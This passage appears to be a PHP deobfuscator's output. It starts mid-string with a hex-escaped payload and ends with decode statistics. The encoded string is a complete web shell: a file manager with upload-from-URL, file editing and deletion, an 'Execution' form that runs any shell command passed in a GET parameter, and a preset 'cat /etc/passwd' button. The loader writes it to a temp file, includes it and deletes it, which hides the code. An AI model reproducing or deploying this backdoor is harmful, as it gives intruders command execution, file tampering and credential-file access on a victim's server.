0\x20\x20\x20\x20\x20\x20\x20\x74\x65\x78\x74\x2D\x64\x65\x63\x6F\x72\x61\x74\x69\x6F\x6E\x3A\x20\x6E\x6F\x6E\x65\x3B\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x63\x75\x72\x73\x6F\x72\x3A\x20\x70\x6F\x69\x6E\x74\x65\x72\x3B\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x6D\x61\x72\x67\x69\x6E\x2D\x72\x69\x67\x68\x74\x3A\x20\x31\x30\x70\x78\x3B\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x64\x69\x73\x70\x6C\x61\x79\x3A\x20\x69\x6E\x6C\x69\x6E\x65\x2D\x62\x6C\x6F\x63\x6B\x3B\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x74\x65\x78\x74\x2D\x61\x6C\x69\x67\x6E\x3A\x20\x63\x65\x6E\x74\x65\x72\x3B\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x7D\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x2E\x62\x75\x74\x74\x6F\x6E\x32\x3A\x68\x6F\x76\x65\x72\x20\x7B\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x62\x61\x63\x6B\x67\x72\x6F\x75\x6E\x64\x2D\x63\x6F\x6C\x6F\x72\x3A\x20\x23\x63\x38\x32\x33\x33\x33\x3B\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x7D\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x66\x6F\x6F\x74\x65\x72\x20\x7B\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x74\x65\x78\x74\x2D\x61\x6C\x69\x67\x6E\x3A\x20\x63\x65\x6E\x74\x65\x72\x3B\x20\x2F\x2A\x20\x54\x65\x6B\x73\x20\x62\x65\x72\x61\x64\x61\x20\x64\x69\x20\x74\x65\x6E\x67\x61\x68\x20\x2A\x2F\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x7D\x0A\x20\x20\x20\x20\x3C\x2F\x73\x74\x79\x6C\x65\x3E\x0A\x3C\x2F\x68\x65\x61\x64\x3E\x0A\x3C\x62\x6F\x64\x79\x3E\x0A\x20\x20\x20\x20\x3C\x21\x2D\x2D\x20\x4B\x6F\x6E\x74\x65\x6E\x20\x62\x6F\x64\x79\x20\x2D\x2D\x3E\x0A\x20\x20\x20\x20\x3C\x64\x69\x76\x20\x63\x6C\x61\x73\x73\x3D\x22\x63\x6F\x6E\x74\x61\x69\x6E\x65\x72\x22\x3E\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x3C\x68\x31\x3E\x3C\x3F\x70\x68\x70\x20\x65\x63\x68\x6F\x20\x24\x68\x6F\x73\x74\x20\x2E\x20\x22\x20\x2D\x20\x22\x20\x2E\x20\x24\x61\x64\x64\x69\x74\x69\x6F\x6E\x61\x6C\x5F\x74\x69\x74\x6C\x65\x3B\x20\x3F\x3E\x3C\x2F\x68\x31\x3E\x0A\x20\x20\x20\x20\x20\x20\x20\x0A\x3C\x3F\x70\x68\x70\x0A\x0A\x3F\x3E\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x3C\x3F\x70\x68\x70\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x65\x63\x68\x6F\x20\x67\x65\x6E\x65\x72\x61\x74\x65\x44\x69\x72\x65\x63\x74\x6F\x72\x79\x4C\x69\x6E\x6B\x73\x28\x24\x64\x69\x72\x29\x3B\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x65\x63\x68\x6F\x20\x22\x3C\x2F\x66\x6F\x6E\x74\x3E\x22\x3B\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x65\x63\x68\x6F\x20\x22\x5B\x3C\x61\x20\x68\x72\x65\x66\x3D\x27\x3F\x27\x3E\x20\x48\x6F\x6D\x65\x20\x3C\x2F\x61\x3E\x5D\x22\x3B\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x65\x63\x68\x6F\x20\x22\x3C\x62\x72\x3E\x22\x3B\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x65\x63\x68\x6F\x20\x22\x3C\x64\x69\x76\x20\x73\x74\x79\x6C\x65\x3D\x27\x74\x65\x78\x74\x2D\x61\x6C\x69\x67\x6E\x3A\x20\x72\x69\x67\x68\x74\x3B\x27\x3E\x3C\x61\x20\x68\x72\x65\x66\x3D\x27\x3F\x64\x69\x72\x3D\x24\x64\x69\x72\x26\x77\x69\x62\x75\x3D\x63\x72\x65\x61\x74\x65\x66\x69\x6C\x65\x27\x20\x63\x6C\x61\x73\x73\x3D\x27\x62\x75\x74\x74\x6F\x6E\x31\x27\x3E\x43\x72\x65\x61\x74\x65\x20\x46\x69\x6C\x65\x3C\x2F\x61\x3E\x3C\x2F\x64\x69\x76\x3E\x22\x3B\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x65\x63\x68\x6F\x20\x27\x3C\x66\x6F\x72\x6D\x20\x6D\x65\x74\x68\x6F\x64\x3D\x22\x70\x6F\x73\x74\x22\x3E\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x3C\x69\x6E\x70\x75\x74\x20\x74\x79\x70\x65\x3D\x22\x74\x65\x78\x74\x22\x20\x6E\x61\x6D\x65\x3D\x22\x75\x72\x6C\x22\x20\x70\x6C\x61\x63\x65\x68\x6F\x6C\x64\x65\x72\x3D\x22\x45\x6E\x74\x65\x72\x20\x55\x52\x4C\x2E\x2E\x2E\x22\x3E\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x3C\x69\x6E\x70\x75\x74\x20\x74\x79\x70\x65\x3D\x22\x73\x75\x62\x6D\x69\x74\x22\x20\x6E\x61\x6D\x65\x3D\x22\x75\x70\x6C\x6F\x61\x64\x75\x72\x6C\x22\x20\x76\x61\x6C\x75\x65\x3D\x22\x55\x70\x6C\x6F\x61\x64\x20\x66\x72\x6F\x6D\x20\x55\x52\x4C\x22\x3E\x0A\x20\x20\x20\x20\x3C\x2F\x66\x6F\x72\x6D\x3E\x27\x3B\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x65\x63\x68\x6F\x27\x20\x3C\x66\x6F\x72\x6D\x20\x65\x6E\x63\x74\x79\x70\x65\x3D\x22\x6D\x75\x6C\x74\x69\x70\x61\x72\x74\x2F\x66\x6F\x72\x6D\x2D\x64\x61\x74\x61\x22\x20\x6D\x65\x74\x68\x6F\x64\x3D\x22\x70\x6F\x73\x74\x22\x3E\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x3C\x69\x6E\x70\x75\x74\x20\x74\x79\x70\x65\x3D\x22\x66\x69\x6C\x65\x22\x20\x6E\x61\x6D\x65\x3D\x22\x75\x70\x66\x69\x6C\x65\x22\x3E\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x3C\x69\x6E\x70\x75\x74\x20\x74\x79\x70\x65\x3D\x22\x73\x75\x62\x6D\x69\x74\x22\x20\x6E\x61\x6D\x65\x3D\x22\x75\x70\x22\x20\x76\x61\x6C\x75\x65\x3D\x22\x55\x70\x6C\x6F\x61\x64\x65\x64\x20\x21\x20\x22\x3E\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x3C\x2F\x66\x6F\x72\x6D\x3E\x27\x3B\x0A\x0A\x20\x20\x20\x20\x69\x66\x28\x69\x73\x73\x65\x74\x28\x24\x5F\x50\x4F\x53\x54\x5B\x27\x75\x70\x27\x5D\x29\x29\x7B\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x24\x75\x70\x6C\x6F\x61\x64\x66\x69\x6C\x65\x20\x3D\x20\x24\x5F\x46\x49\x4C\x45\x53\x5B\x27\x75\x70\x66\x69\x6C\x65\x27\x5D\x5B\x27\x6E\x61\x6D\x65\x27\x5D\x3B\x0A\x20\x20\x20\x20\x69\x66\x28\x6D\x6F\x76\x65\x5F\x75\x70\x6C\x6F\x61\x64\x65\x64\x5F\x66\x69\x6C\x65\x0A\x20\x20\x20\x20\x28\x24\x5F\x46\x49\x4C\x45\x53\x5B\x27\x75\x70\x66\x69\x6C\x65\x27\x5D\x5B\x27\x74\x6D\x70\x5F\x6E\x61\x6D\x65\x27\x5D\x2C\x24\x64\x69\x72\x2E\x27\x2F\x27\x2E\x24\x5F\x46\x49\x4C\x45\x53\x5B\x27\x75\x70\x66\x69\x6C\x65\x27\x5D\x5B\x27\x6E\x61\x6D\x65\x27\x5D\x29\x29\x7B\x0A\x20\x20\x20\x20\x65\x63\x68\x6F\x22\x3C\x62\x72\x3E\x46\x69\x6C\x65\x20\x77\x61\x73\x20\x73\x75\x63\x63\x65\x73\x73\x66\x75\x6C\x6C\x79\x20\x75\x70\x6C\x6F\x61\x64\x65\x64\x20\x21\x20\x22\x3B\x0A\x20\x20\x20\x20\x7D\x0A\x20\x20\x20\x20\x65\x6C\x73\x65\x20\x7B\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x65\x63\x68\x6F\x20\x22\x3C\x62\x72\x3E\x55\x70\x6C\x6F\x61\x64\x20\x66\x61\x69\x6C\x65\x64\x20\x21\x20\x22\x3B\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x7D\x20\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x0A\x20\x20\x20\x20\x7D\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x65\x63\x68\x6F\x20\x22\x3C\x74\x61\x62\x6C\x65\x3E\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x3C\x74\x72\x3E\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x3C\x74\x68\x3E\x4E\x61\x6D\x61\x20\x46\x69\x6C\x65\x20\x2F\x20\x46\x6F\x6C\x64\x65\x72\x3C\x2F\x74\x68\x3E\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x3C\x74\x68\x3E\x53\x69\x7A\x65\x3C\x2F\x74\x68\x3E\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x3C\x74\x68\x3E\x70\x65\x72\x6D\x69\x73\x73\x69\x6F\x6E\x3C\x2F\x74\x68\x3E\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x3C\x74\x68\x3E\x41\x63\x74\x69\x6F\x6E\x3C\x2F\x74\x68\x3E\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x3C\x2F\x74\x72\x3E\x22\x3B\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x73\x68\x6F\x77\x46\x69\x6C\x65\x73\x28\x24\x64\x69\x72\x29\x3B\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x65\x63\x68\x6F\x20\x22\x3C\x2F\x74\x61\x62\x6C\x65\x3E\x22\x3B\x0A\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x69\x66\x20\x28\x69\x73\x73\x65\x74\x28\x24\x5F\x47\x45\x54\x5B\x27\x77\x69\x62\x75\x27\x5D\x29\x20\x26\x26\x20\x24\x5F\x47\x45\x54\x5B\x27\x77\x69\x62\x75\x27\x5D\x20\x3D\x3D\x20\x27\x63\x72\x65\x61\x74\x65\x66\x69\x6C\x65\x27\x29\x20\x7B\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x63\x72\x65\x61\x74\x65\x46\x69\x6C\x65\x46\x6F\x72\x6D\x28\x24\x64\x69\x72\x29\x3B\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x7D\x0A\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x63\x72\x65\x61\x74\x65\x46\x6F\x6C\x64\x65\x72\x28\x24\x64\x69\x72\x29\x3B\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x63\x72\x65\x61\x74\x65\x46\x69\x6C\x65\x28\x24\x64\x69\x72\x29\x3B\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x64\x65\x6C\x65\x74\x65\x46\x69\x6C\x65\x28\x24\x64\x69\x72\x29\x3B\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x72\x65\x6E\x61\x6D\x65\x46\x69\x6C\x65\x28\x24\x64\x69\x72\x29\x3B\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x65\x64\x69\x74\x46\x69\x6C\x65\x28\x24\x64\x69\x72\x29\x3B\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x65\x63\x68\x6F\x20\x63\x72\x65\x61\x74\x65\x46\x6F\x6C\x64\x65\x72\x46\x6F\x72\x6D\x28\x24\x64\x69\x72\x29\x3B\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x3F\x3E\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x3C\x62\x72\x3E\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x3C\x63\x65\x6E\x74\x65\x72\x3E\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x3C\x68\x31\x3E\x45\x78\x65\x63\x75\x74\x69\x6F\x6E\x3C\x2F\x68\x31\x3E\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x3C\x66\x6F\x72\x6D\x20\x6D\x65\x74\x68\x6F\x64\x3D\x22\x47\x45\x54\x22\x3E\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x3C\x69\x6E\x70\x75\x74\x20\x74\x79\x70\x65\x3D\x22\x74\x65\x78\x74\x22\x20\x6E\x61\x6D\x65\x3D\x22\x63\x6D\x64\x22\x20\x70\x6C\x61\x63\x65\x68\x6F\x6C\x64\x65\x72\x3D\x22\x45\x6E\x74\x65\x72\x20\x63\x6F\x6D\x6D\x61\x6E\x64\x2E\x2E\x2E\x22\x3E\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x3C\x62\x75\x74\x74\x6F\x6E\x20\x74\x79\x70\x65\x3D\x22\x73\x75\x62\x6D\x69\x74\x22\x3E\x3E\x3C\x2F\x62\x75\x74\x74\x6F\x6E\x3E\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x3C\x2F\x66\x6F\x72\x6D\x3E\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x3C\x3F\x70\x68\x70\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x69\x66\x20\x28\x69\x73\x73\x65\x74\x28\x24\x5F\x47\x45\x54\x5B\x27\x63\x6D\x64\x27\x5D\x29\x29\x20\x7B\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x24\x63\x6F\x6D\x6D\x61\x6E\x64\x20\x3D\x20\x24\x5F\x47\x45\x54\x5B\x27\x63\x6D\x64\x27\x5D\x3B\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x72\x75\x6E\x53\x68\x65\x6C\x6C\x43\x6F\x6D\x6D\x61\x6E\x64\x28\x24\x63\x6F\x6D\x6D\x61\x6E\x64\x29\x3B\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x7D\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x3F\x3E\x20\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x3C\x64\x69\x76\x20\x73\x74\x79\x6C\x65\x3D\x27\x74\x65\x78\x74\x2D\x61\x6C\x69\x67\x6E\x3A\x20\x72\x69\x67\x68\x74\x3B\x27\x3E\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x3C\x66\x6F\x72\x6D\x20\x6D\x65\x74\x68\x6F\x64\x3D\x22\x47\x45\x54\x22\x3E\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x3C\x69\x6E\x70\x75\x74\x20\x74\x79\x70\x65\x3D\x22\x74\x65\x78\x74\x22\x20\x6E\x61\x6D\x65\x3D\x22\x65\x74\x63\x22\x20\x76\x61\x6C\x75\x65\x3D\x22\x63\x61\x74\x20\x2F\x65\x74\x63\x2F\x70\x61\x73\x73\x77\x64\x22\x3E\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x3C\x62\x75\x74\x74\x6F\x6E\x20\x74\x79\x70\x65\x3D\x22\x73\x75\x62\x6D\x69\x74\x22\x3E\x3E\x3C\x2F\x62\x75\x74\x74\x6F\x6E\x3E\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x3C\x2F\x66\x6F\x72\x6D\x3E\x0A\x20\x20\x20\x20\x3C\x2F\x64\x69\x76\x3E\x0A\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x3C\x3F\x70\x68\x70\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x69\x66\x20\x28\x69\x73\x73\x65\x74\x28\x24\x5F\x47\x45\x54\x5B\x27\x65\x74\x63\x27\x5D\x29\x29\x20\x7B\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x24\x63\x6F\x6D\x6D\x61\x6E\x64\x20\x3D\x20\x24\x5F\x47\x45\x54\x5B\x27\x65\x74\x63\x27\x5D\x3B\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x72\x75\x6E\x53\x68\x65\x6C\x6C\x43\x6F\x6D\x6D\x61\x6E\x64\x28\x24\x63\x6F\x6D\x6D\x61\x6E\x64\x29\x3B\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x7D\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x3F\x3E\x0A\x20\x20\x20\x20\x3C\x66\x6F\x6F\x74\x65\x72\x3E\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x3C\x70\x3E\x26\x63\x6F\x70\x79\x3B\x20\x32\x30\x32\x34\x20\x2D\x20\x4C\x75\x74\x66\x69\x66\x61\x6B\x65\x65\x37\x36\x38\x3C\x2F\x70\x3E\x0A\x3C\x2F\x66\x6F\x6F\x74\x65\x72\x3E\x0A\x20\x20\x20\x20\x3C\x2F\x64\x69\x76\x3E\x0A\x3C\x2F\x62\x6F\x64\x79\x3E\x0A\x3C\x2F\x68\x74\x6D\x6C\x3E\x0A";
$temp_file = tempnam(sys_get_temp_dir(), 'script_');
file_put_contents($temp_file, $script);
include $temp_file;
unlink($temp_file);
Function Calls
sys_get_temp_dir | 1 |
Stats
MD5 | 7ed79a67878168810d2101966328f906 |
Eval Count | 0 |
Decode Time | 82 ms |